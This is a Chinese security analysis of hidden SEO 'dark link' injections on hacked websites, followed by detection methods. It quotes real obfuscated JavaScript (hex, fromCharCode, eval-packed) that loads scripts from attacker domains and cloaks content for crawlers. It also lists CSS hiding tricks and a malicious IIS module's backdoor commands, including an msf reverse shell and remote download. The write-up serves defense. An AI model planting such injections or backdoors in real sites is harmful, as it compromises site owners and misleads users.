近年来,互联网行业蓬勃发展,网络信息成指数级增长。在这种海量信息下,搜索引擎成为主要的信息搜索工具,搜索引擎通过爬取网站信息并对网页内容计算权重做排名展示在搜索结果中。由于展示在搜索结果前部的网站有更大概率被用户访问,某些网站管理者为了获取更多访问量,往往采取各种作弊手段。
“暗链”就是一种提高网站排名的作弊手段。具体说,“暗链”指的是攻击者获取网站权限后,修改网页源码,插入指向其他网站的反向连接代码,并且用户在正常浏览网页时无法看到此链接,但可被搜索引擎检索计算权重。一旦网页中存在暗链,通常这个网站已经被入侵,网站存在被植入恶意代码、网页被恶意篡改、数据信息泄露等风险。因此,“暗链”相比于其他搜索引擎作弊方式,具体有更大的危害性,并且难于发现。
暗链指向的网站绝大多数是博彩、非法游戏私服、虚假医疗、办证等黑灰色产业,其中博彩类域名数量最多。而暗链宿主往往是权重较高的网页,例如政府网站、教育网站等。
从本质上说,暗链是一段被插入到网站文件中的“代码”,所以这里按照代码形态将暗链分成以下几类:
按照前后端来分类,黑链主要分为前端劫持与服务端劫持:
通常来讲,受害主机存在以下两个明显的危害:
同时,黑链已经被植入受害主机,表明主机很可能已被黑客控制,现有的安全防护体系已经部分甚至完全失效,还存在以下潜在风险:
以前黑产更多的情况是挂马,直接获取权限抓取肉鸡。但是近些年由于挂马的黑产形式,在各方面的条件影响下,成为了风险高,收益低的方式。暗链是近几年黑色产业链最爱用的获取利益方式之一,其也是黑帽SEO最爱用的方式之一。其最呈现出最明显的方式就是在点击搜索引擎后显示的是正常页面,点击进去跳转到某菠菜,某色情页面。
这里有一个问题,为什么这些黑产人员拿了站点的权限,为什么不直接篡改主站,而是选择子页面?
我认为这是趋于SEO的特性,黑产人员主要是为了提高菠菜站点的权重,而不是要一定要让别人点击进菠菜页面。当黑帽SEO得到优化后,就能得到相应的报酬。所以,为了降低风险性,提高回报率,黑产人员没必要直接篡改主站的所有内容,而是只需要挂在子页面下即可达到SEO优化的目的。这和现在挖矿病毒会主动降低CPU/内存消耗,并且避免对系统造成其他的损害是类似的道理,黑产的目的主要是通过资源劫持实现经济目的,而并不想造成危害性地入侵。
黑产为了提升暗链的效果,会采用多种SEO技术,
“暗链”和友情链接有相似之处,可以有效地提高网站搜索引擎排名的权重值。所以很多网站站长为了提高搜索引擎排名会去购买暗链,或者黑产人员会利用自己的技术去入侵网站挂上自己的非法网站提高排名。
总体来说,购买暗链的用户画像如下:
前面说过,暗链的本质是为了提升特定网站的搜索权重,而一般来说,对搜索权重有巨大需求的往往是一些博彩、灰色医疗、色情网站。
再往前分析,这些所谓的博彩、灰色医疗、色情网站也是为了迎合某一部分市场的需求,目前社会上就是存在大量的网民对这类网站感兴趣,他们会通过搜索引擎进行搜索。
同时,搜索引擎有义务对检索结果进行审查和筛选,非法的服务和敏感的个人信息都可以根据请求被删除或者自动剔除。攻击者可以通过行业黑话来规避检测,例如使用M4RK SIX指代六台彩。而使用者发现关键词被屏蔽后,就会尝试其他行业黑话进行检索,行业黑话通常是谐音或者形似。使用者可以直接访问或者被重定向进行访问。
参考链接:
https://www.freebuf.com/articles/network/186071.html https://www.freebuf.com/articles/web/182117.html https://cloud.tencent.com/developer/article/2107461?from=15425 https://cloud.tencent.com/developer/article/1091950?from=15425 https://www.dbappsecurity.com.cn/content/details2172_10266.html https://www.yun88.com/news/3535.html https://www.volcengine.com/theme/1180346-Y-7-1 http://www.gmuzi.com/post/65.html https://www.leiphone.com/category/gbsecurity/f92lZgFFWN3HWOQf.html
这种手法的原理是调用widnows对象中的document.write方法将外部的JS代码引入到当前页面,通常还会配合使用16进制编码来实现隐藏的目的。
<script language=”javascript” type=”text/javascript”> document.write(“<div style=’display:none;’>”); </script> <div> <a href=域名>关键词</a> <script language=”javascript” type=”text/javascript”> document.write(”</div>”); </script>
这个案例中,黑客将网站的title、keywords、description都换成了10进制的unicode编码,这样的确能起到一些隐藏的作用,10进制unicode编码在浏览器解析的时候会还原成字符。
<title>北京赛车pk10 北京赛车pk10历史记录 pk10网上投注-北京pk10直播网</title> <meta name="keywords" content="北京pk10开奖直播,pk10开奖直播,北京赛车pk10开奖结果,北京赛车pk10开奖直播,北京赛车pk10投注网站,pk10网上开户,pk10网上投注,北京赛车视频网" /> <meta name="description" content="【1100kai.com】经北京福彩官网授权,提供北京赛车pk10历史记录,北京赛车pk10开奖视频,北京赛车开奖结果查询,北京赛车pk10在线投注,pk10网上开户,最专业的北京赛车直播网!"/>
将这些十进制unicode编码丢到站长工具中解密:
接着分析JavaScript代码部分,
<script type="text/javascript"> window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] ('\x3c\x73\x63\x72\x69\x70\x74 \x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22 \x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x73\x65\x6f\x32\x36\x38\x2e\x73\x75\x2e\x62\x63\x65\x62\x6f\x73\x2e\x63\x6f\x6d\x2f\x31\x31\x30\x30\x6b\x61\x69\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e'); </script><script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title = "XXXXX科技有限公司"}</script>
可以看到他调用了JavaScript中的windows对象,然后使用的方法都使用了16进制的编码,因为JavaScript是支持16进制编码的,这样可以躲过一部分简单的检测工具,确实具有一些隐蔽性。
后面调用navigator对象中的useragent方法判断用户访问的useragent,如果不是通过百度跳转过来的就将title设置为正常的title,我们将上面这段代码中的16进制编码丢到16进制解密工具中。
这样可以看到,他其实是使用的window对象中的document.wirte方法,将一段外部JavaScript代码写入到了当前的页面,这样就完成了一段暗链的植入。
这种引入方式的原理是通过String.fromCharCode函数将10进制ascii码转换为正常的字符,然后调用document.wirte方法写入当前页面。
前面的title、keywords、description还是10进制unicode编码。
接下来分析JavaScript代码部分,
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="系统登录,XXX管理系统 "}</script> <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,32,115,114,99,61,34,104,116,116,112,115,58,47,47,115,102,104,117,102,104,50,46,99,111,109,47,121,108,99,46,106,115,34,62,60,47,115,99,114,105,112,116,62,); document.write(xt); </script>
和上一个攻击方式类似,不过换成了String.fromCharCode方法配合10进制ASCII码+document.write方法实现,首先将这一串10进制ASCII码转换为了String字符串,然后使用document.wirte方法将这串字符串写入到当前页面,这样就完成了外部JavaScript代码的引入,从而实现了暗链的植入。
这种方法是通过引入JavaScript时,<script src="XX">通过将其中的src改为十进制unicode编码来实现的。这种方法不是在JavaScript上做文章,而是利用html的特性,使用十进制unicode编码改变<script>标签中的src来做文章。
十进制unicode的编码的title就不讨论了,直接看JavaScript部分,
<script type="text/javascript" src="https://www.cqian.cn/ayx168.js"></script>
可以看到黑客将src使用了十进制unicode编码,从而可以规避一些简单的或者肉眼的检测。
可以看到其引入的是一个外部的JavaScript代码,从而实现了暗链的植入。可以跟进去看看。
主要起作用的还是圈出的部分,可以看到他先判断这个访问是不是通过搜索引擎过来的,如果是通过搜索引擎过来的,才会进行跳转。
先看eval函数的定义,
黑客一般利用这个函数来实现JavaScript的混淆加密,
直接开始分析JavaScript代码部分,
<script type="text/javascript">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\e\\c\\1\\n\\f\\8\\o\\0"]["\\7\\3\\9\\0\\8"](\'\\g\\2\\1\\3\\9\\4\\0 \\0\\m\\4\\8\\d\\6\\0\\8\\j\\0\\5\\h\\a\\k\\a\\2\\1\\3\\9\\4\\0\\6 \\2\\3\\1\\d\\6\\t\\0\\0\\4\\2\\u\\5\\5\\7\\7\\7\\b\\v\\1\\e\\a\\2\\q\\b\\1\\c\\f\\5\\r\\p\\s\\b\\h\\2\\6\\i\\g\\5\\2\\1\\3\\9\\4\\0\\i\');',32,32,'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x78|x76|window|x79|x75|x6e|x36|x38|x33|x35|x68|x3a|x62'.split('|'),0,{})) </script>
可以看到,本质上还是使用了document.write方法将外部JavaScript代码引入当前页面,只不过使用了eval函数进行混淆罢了。
利用重定向机制。在跳转之前的页面写入不相关的链接,通过快速跳转到正常页面,使用户无法察觉。
还利用setTimeout 在跳转到正常页面index.html之前有0.1s停留在当前页面,页面中的暗链不易被察觉。
<div style="display:none;"> <a href="域名" target="_blank">关键词</a> </div>
<marquee height=1 width=5 SCROLLAMOUNT=3000 SCROLLDELAY=20000> <a href=域名>关键词</a> </MARQUEE>
CSS1 <div style=”position: absolute; top: -999px;left: -999px;”> <a href=域名>关键词</a> </div> CSS2 <div style=”position:absolute;left:expression(1-900) ;top:expression(3-999);”> <a href=域名>关键词</a> </div>
以上几种是惯用的挂暗链的方法,但目前的搜索引擎也开始对这些方法进行识别和打击,如果代码没有任何处理的话,那么这些外链将有可能全部被降权。即便如此,这几种仍然是目前最常见的暗链隐藏方法。为了不被搜索引擎识别,攻击者利用JS向页面中写入ccs样式,并设置其属性,由于搜索引擎对这种JS代码的内部实质意义还无法识别,因此也成为了挂暗链的一种常见形式。
利用遮挡层隐藏暗链。z-index属性可以设置元素的堆叠顺序,z-index值越小其堆叠顺序越靠后,因此可以利用其它层来遮挡暗链。
marginWidth,marginHeight为0 则无法显示内联框,可隐藏暗链。
利用<meta>标签插入链接。位于网页html源码头部内的<meta>标签,提供有关页面的元信息,是搜索引擎判定网页内容的主要根据, 攻击者可以在标签中插入大量与网页不相关的词语以及链接。
class Login { /** * 统一登录方法 * @param $loginData array 登录携带信息 * */ public static function login(array $loginData): array { $lang = $loginData['lang'] ?? 'zh'; //if ($lang == "en") header('Location: https://99662121.com/registered');die;
一般来说,脚本代码中会对UA进行判断,这里列举一些搜素引擎的UA特征:
百度 “Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)” 百度图片 “Baiduspider-image+(+http://www.baidu.com/search/spider.htm)” 百度PC: Mozilla/5.0 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html) 百度移动: Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1 (compatible; Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html) 360搜索 Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0); 360网站安全检测 360spider (http://webscan.360.cn) Google “Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)” Google图片搜索 “Googlebot-Image/1.0” Adwords移动网络 “AdsBot-Google-Mobile (+http://www.google.com/mobile/adsbot.html) Mozilla (iPhone; U; CPU iPhone OS 3 0 like Mac OS X) AppleWebKit (KHTML, like Gecko) Mobile Safari” 微软 bing,必应 “Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)” 腾讯搜搜 “Sosospider+(+http://help.soso.com/webspider.htm)” 搜搜图片 “Sosoimagespider+(+http://help.soso.com/soso-image-spider.htm)” 雅虎英文 “Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)” 雅虎中国 “Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)” 搜狗图片 “http://pic.sogou.com” “Sogou Pic Spider/3.0(+http://www.sogou.com/docs/help/webmasters.htm#07)” 搜狗 “Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)” 网易有道 “Mozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )”
黑客通过将SEO代码植入关键的PHP/ASP/JSP代码逻辑中(例如首页index.php、autoload.php中),以此达到路由劫持的目的。
将其中base64加密的内容进行base64解密,得到以下内容:
其中 function isSpider()函数主要用来判断是否为爬虫访问,如果是爬虫则返回http://l5.wang2017.com/相关的内容。
为了更好的对IIS服务中所有站点进行管理,IIS服务允许管理员安装模块对服务器上的全局信息进行个性化的处理,如全局对访问鉴权、对http请求过滤、设置返回信息等。因此攻击者利用IIS模块能够对http请求和返回进行处理的特性,通过实现CHttpModule或CGlobalModule类中不同的函数实现对http请求和返回的控制。
下图为IIS的服务器对http请求的处理流程。
对网站的首页进行暗链相关内容植入,搜索引擎访问受害者网站时,恶意模块会将网页的title和meta信息替换为模块中的硬编码信息,达到对黄赌毒网站信息传播的目的。
不但实现了暗链功能还实现了代理功能。当搜索引擎访问受害者网站访问时,恶意模块会使用代理模块从攻击者网站获取暗链页面并返回。与直接硬编码SEO内容相比,攻击者能够通过后端网站的配置实时修改暗链的返回页面,甚至在必要时可以关闭返回达到规避暗链检测的目的。
在条件满足(路径带app字样且UA为蜘蛛)情况下,IIS进程会请求http://sc.xxxbt.com/xxx 路径,并返回请求到的内容。
这类攻击同时实现了暗链、后门及代理功能。样本根据URL、UA、Referer以及CMD字段,将http访问分成了正常用户访问、搜索引擎爬虫以及攻击者访问。如果访问者是正常用户则返回网站原本页面,如果访问者是搜索引擎爬虫则返回攻击者服务器设置的赌博或色情页面,如果是攻击者访问则会执行命令并返回结果。
后门实现了命令执行、msf反弹shell、下载及信息收集功能,具体命令格式如下表所示。
后门命令 |
命令参数格式 |
说明 |
cmd |
{pass}$cmd${param} |
启动cmd.exe并执行param命令 |
msf |
{pass}$msf${ip}${port} |
反向连接攻击者msf服务器 |
dw |
{pass}$dw${url}${file} |
下载url文件到被入侵服务器的指定文件中 |
in |
{pass}$in |
获取被入侵服务器基本信息 |
通过捆绑正常模块如F5XFFHttpModule(一种用于记录访问者IP的正常模块)进行传播。白加黑的样本既可以在安装模块后很好的伪装攻击行为,也能上传到下载站诱骗管理人员下载安装。这类攻击同时具备危害性与隐蔽性,不容易被发现。
在初始化时需要通过DnsQuery向xinxx.allsoulu.com查询UA、URL及C&C服务器等暗链配置信息。该类型样本远程加载配置信息的方式,不但有一定的免杀效果,也使攻击者的暗链植入更加灵活。
参考链接:
https://cloud.tencent.com/developer/article/1798770?from=15425 https://www.heimao.wiki/post/14.html https://cloud.tencent.com/developer/article/1595250?from=15425 https://www.freebuf.com/articles/web/222060.html https://cloud.tencent.com/developer/article/1044102?from=15425 https://www.freebuf.com/news/339736.html https://www.leiphone.com/category/gbsecurity/f92lZgFFWN3HWOQf.html
网页中被植入的暗链,通常是淫秽、博彩、商广等内容,其锚文本含义与整体网页主题有很大差异,这种主题差异可作为最终监督学习决策模型的重要特征。
我们可以使用基于规则的多域模型提取网页中可疑文本信息和正常文本信息,导入 LDA(Latent Dirichlet Allocation) 主题识别算法提取主题并计算差异度。
根据网页中暗链植入特点,提取可疑链接信息,可疑代码信息,可疑文本信息,做暗链检测,使用多模型融合提高结果准确度。
具体逻辑如下图所示,分为安全域识别模型、可疑域识别模型、主题识别模型,通过设置各模型权重,并将三个模型结果信息融合导入机器学习模型训练,得到综合结果用于鉴别。检测结果导入人工审核机制,对审核确认后的样本自动加入模型重训练流程。
网页暗链检测模型收集大量网页源码作为训练集,所述训练集中包含已被标注为包含暗链的网页和标注为正常的网页,提取训练集用于构建机器学习模型的特征数据,包括风险度、主题异样度、主题、风险文本向量、风险文本异常概率以及风险文本长度等。
具体来说,
结合安全专家知识,通过对历史样本数据分析,根据网页不同位置可被植入的风险度, 划分为可疑域、敏感域、安全域。对不同域识别匹配可估算出网页整体风险度。
分析网页源码,提取网页源码中所有可疑域,对每个可疑域进行风险度识别并获取风险文本。可疑域具体指包含隐藏效果的代码区域,包括:
(1)链接位于页面可见范围之外,即通过改变 position 位置达到页面不可见。可以将 position 位置属性设置成负数,则链接无法显示在可见页面之内。代码示例如下:
<divstyle="position:absolute;left:expression_r(1900);top:expression_r(3-999);"> <a href=" 暗链 "> 锚文本 </a> </div> <div style="position:absolute;top:-999px;right:- 999px;"> <a herf=" 暗链 "> 锚文本 </a> </div> <div style="text-indent:-9999em; display:block; float:left"> <a herf=" 暗链 "> 锚文本 </a> </div>
(2)利用跑马灯 marquee 属性,即通过改变跑马灯 marquee 参数达到用户不可见。链接以跑马灯形式迅速闪现,跑马灯的长宽设置很小,同时将闪现的频率设置很大,使得查看页面时不会有任何影响。代码实例如下:
<marqueeheight=1width=4 scrollamount=3000 scrolldelay=20000> <a href= " 暗链 "> 锚文本 </a> </marquee>
(3)利用 display:none 和 visibility:hidden 隐藏区域里的内容,即通过设置“ display:none”, “overflow:hidden”达到用户不可见。代码实例如下:
<div style="display:none;"> <a href=" 暗链 "> 锚文本 </a> </div> <div style=" overflow:hidden;"> <a href=" 暗链 "> 锚文本 </a> </div>
分析网页源码,提取网页源码中所有敏感域,对每个敏感域进行风险度识别并获取风险文本。
敏感域具体指可能含有隐藏效果的代码区域,包括但不限于:
(1)包含 style 属性赋值的 <div> 标签区域 (2)包含 id 属性赋值的 <div> 标签区域 (3)包含 class 属性赋值的 <div> 标签区域 (4)<td> 标签区域 (5)<marquee> 标签区域 (6)<ul> 标签区域 (7)<tr> 标签区域
分析网页源码,提取网页源码中安全域,分析每个安全域,提取安全域的锚文本信息, 将提取的所有安全域的锚文本信息作为安全文本。
安全域包括:
参考链接:
https://www.secrss.com/articles/14772 https://cloud.tencent.com/developer/article/1873576?from=15425
对于windows对象引入的,判断其是否使用了16进制代码,如果使用了,那么怀疑度+1。然后再判断16进制代码解析之后的内容,如果出现了script字样,则怀疑度+1。
对于使用十进制ASCII码进行伪装的暗链,可以判断其变量是否被document.wirte对象引用了,如果引用了再判断其十进制ASCII码的内容。
对于改变script标签src属性的暗链,可以直接翻译其10进制unicode编码,结合威胁情报或者跟进JavaScript代码等方式进行判断。
对于eval函数混淆的暗链,可以先走一个逆向的过程,然后的分析步骤就和上面三种一样了。
基于威胁情报,识别网页文件中存在的恶意URL。